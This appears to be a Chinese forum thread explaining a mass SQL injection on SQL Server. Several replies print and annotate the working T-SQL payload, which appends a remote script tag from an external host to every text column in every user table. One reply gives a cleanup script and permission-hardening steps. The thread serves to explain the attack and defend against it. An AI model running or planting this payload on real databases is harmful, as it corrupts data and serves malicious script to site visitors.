1、通过系统表读取你的每个用户表,以及每个列
2、得到你的用户表和表中的每个列后,然后update,在你的每个列后面加入要注入的字符<script src=http://cn.daxia123.cn/cn.js> </script>

解决方案 »

  1.   

    DECLARE @T VARCHAR(255),@C VARCHAR(255) --声明两个变量
    DECLARE Table_Cursor CURSOR FOR  --声明游标
    Select a.name,b.name 
    FROM sysobjects a,syscolumns b --系统对象表与字段表
    Where a.id=b.id AND a.xtype='u' AND (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) --99 text型 35 ntext --231 nvarchar --167 varchar
    OPEN Table_Cursor FETCH NEXT --打开游标
    FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) 
    BEGIN 
    EXEC('Update ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+'' <script src=http://cn.daxia123.cn/cn.js> </script>''') --这里是更新语句
    FETCH NEXT FROM Table_Cursor INTO @T,@C END --获取一下记录
    CLOSE Table_Cursor --关闭游标
    DEALLOCATE Table_Cursor --释放游标
      

  2.   


    DECLARE @T VARCHAR(255),@C VARCHAR(255) --//声明两个变量
    DECLARE Table_Cursor CURSOR FOR 
    Select a.name,b.name FROM sysobjects a,syscolumns b Where a.id=b.id AND a.xtype='u' AND (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) --//声明游标
    OPEN Table_Cursor --//打开游标
    FETCH NEXT  FROM Table_Cursor INTO @T,@C -- 读取一条记录附给变量@T,@C 
    WHILE(@@FETCH_STATUS=0) ---循环读取为成功时
    BEGIN 
    EXEC('Update ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+'' <script src=http://cn.daxia123.cn/cn.js> </script>''') --动态更新 
    FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor --读取下一条记录
    DEALLOCATE Table_Cursor --删除游标
      

  3.   

    把javascript脚本注入到你的数据库中,运行程序的时候执行javascript脚本,执行有毒网页
      

  4.   

    这是一个被SQL注入的解决办法。
    如何最快速度删除? 
    " <script   src=http://3b3.org/c.js> </script> " 
    --------------------------------------------------------------- 
    进入SQL查询分析器 
    选择你的数据库 
    第一步:先sql表修改所有者为dbo 
    EXEC   sp_MSforeachtable   'exec   sp_changeobjectowner   ' '? ' ', ' 'dbo ' '   ' 第二步:统一删除字段被挂的js 
    declare   @delStr   nvarchar(500)   
    set   @delStr= ' <script   src=http://3b3.org/c.js> </script> ' set   nocount   on declare   @tableName   nvarchar(100),@columnName   nvarchar(100),@tbID   int,@iRow   int,@iResult   int   
    declare   @sql   nvarchar(500) set   @iResult=0   
    declare   cur   cursor   for   
    select   name,id   from   sysobjects   where   xtype= 'U ' open   cur   
    fetch   next   from   cur   into   @tableName,@tbID while   @@fetch_status=0   
    begin   
    declare   cur1   cursor   for   
                    --xtype   in   (231,167,239,175,35)   为char,varchar,nchar,nvarchar,text类型   
                    select   name   from   syscolumns   where   xtype   in   (231,167,239,175,35)   and   id=@tbID   
    open   cur1   
    fetch   next   from   cur1   into   @columnName   
    while   @@fetch_status=0   
    begin   
                set   @sql= 'update   [ '   +   @tableName   +   ']   set   [ '+   @columnName   + ']=   replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ')   where   [ '+@columnName+ ']   like   ' '% '+@delStr+ '% ' ' '   
                exec   sp_executesql   @sql             
                set   @iRow=@@rowcount   
                set   @iResult=@iResult+@iRow   
                if   @iRow> 0   
                begin 
    print   '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '   
                end             
                fetch   next   from   cur1   into   @columnName 
    end   
    close   cur1   
    deallocate   cur1   fetch   next   from   cur   into   @tableName,@tbID   
    end   
    print   '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! ' close   cur   
    deallocate   cur   
    set   nocount   off 
    --------------------------------------------------------------- 
    彻底杜绝SQL注入 1.不要使用sa用户连接数据库 
    2、新建一个public权限数据库用户,并用这个用户访问数据库 
    3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 
    4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×” 
    5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高): 
    DECLARE   @T   varchar(255), 
    @C   varchar(255) 
    DECLARE   Table_Cursor   CURSOR   FOR 
    Select   a.name,b.name   from   sysobjects   a,syscolumns   b 
    where   a.id=b.id   and   a.xtype= 'u '   and   (b.xtype=99   or   b.xtype=35   or   b.xtype=231   or   b.xtype=167)   
    OPEN   Table_Cursor 
    FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C 
    WHILE(@@FETCH_STATUS=0) 
    BEGIN   print   @c 
    FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C   
    END 
    CLOSE   Table_Cursor 
    DEALLOCATE   Table_Cursor   
    --------------------------------------------------------------- 
      

  5.   


    DECLARE @T VARCHAR(255),@C VARCHAR(255) --这个不用说,从下面可看出@T是放表名的,@C是放字段的
    DECLARE Table_Cursor CURSOR FOR  --声明游标
    Select a.name,b.name --a.name 可以使表或存储过程之类的名字,但下一句xtype='u'也就是 usertable。b.name 是字段名
    FROM sysobjects a,syscolumns b --系统对象表与字段表
    Where a.id=b.id AND a.xtype='u' AND (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) --这个里面是判断字段名是字符串类型的,因为下面执行Update时要插入字符串类型的
    OPEN Table_Cursor FETCH NEXT --打开游标
    FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) --一条条往下读取,如果存在记录时
    BEGIN 
    EXEC('Update ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+'' <script src=http://cn.daxia123.cn/cn.js> </script>''') --往类型为字符串的字段中插入语句
    FETCH NEXT FROM Table_Cursor INTO @T,@C END --读取下一条记录
    END  --游标执行结束
    CLOSE Table_Cursor --关闭游标
    DEALLOCATE Table_Cursor --释放游标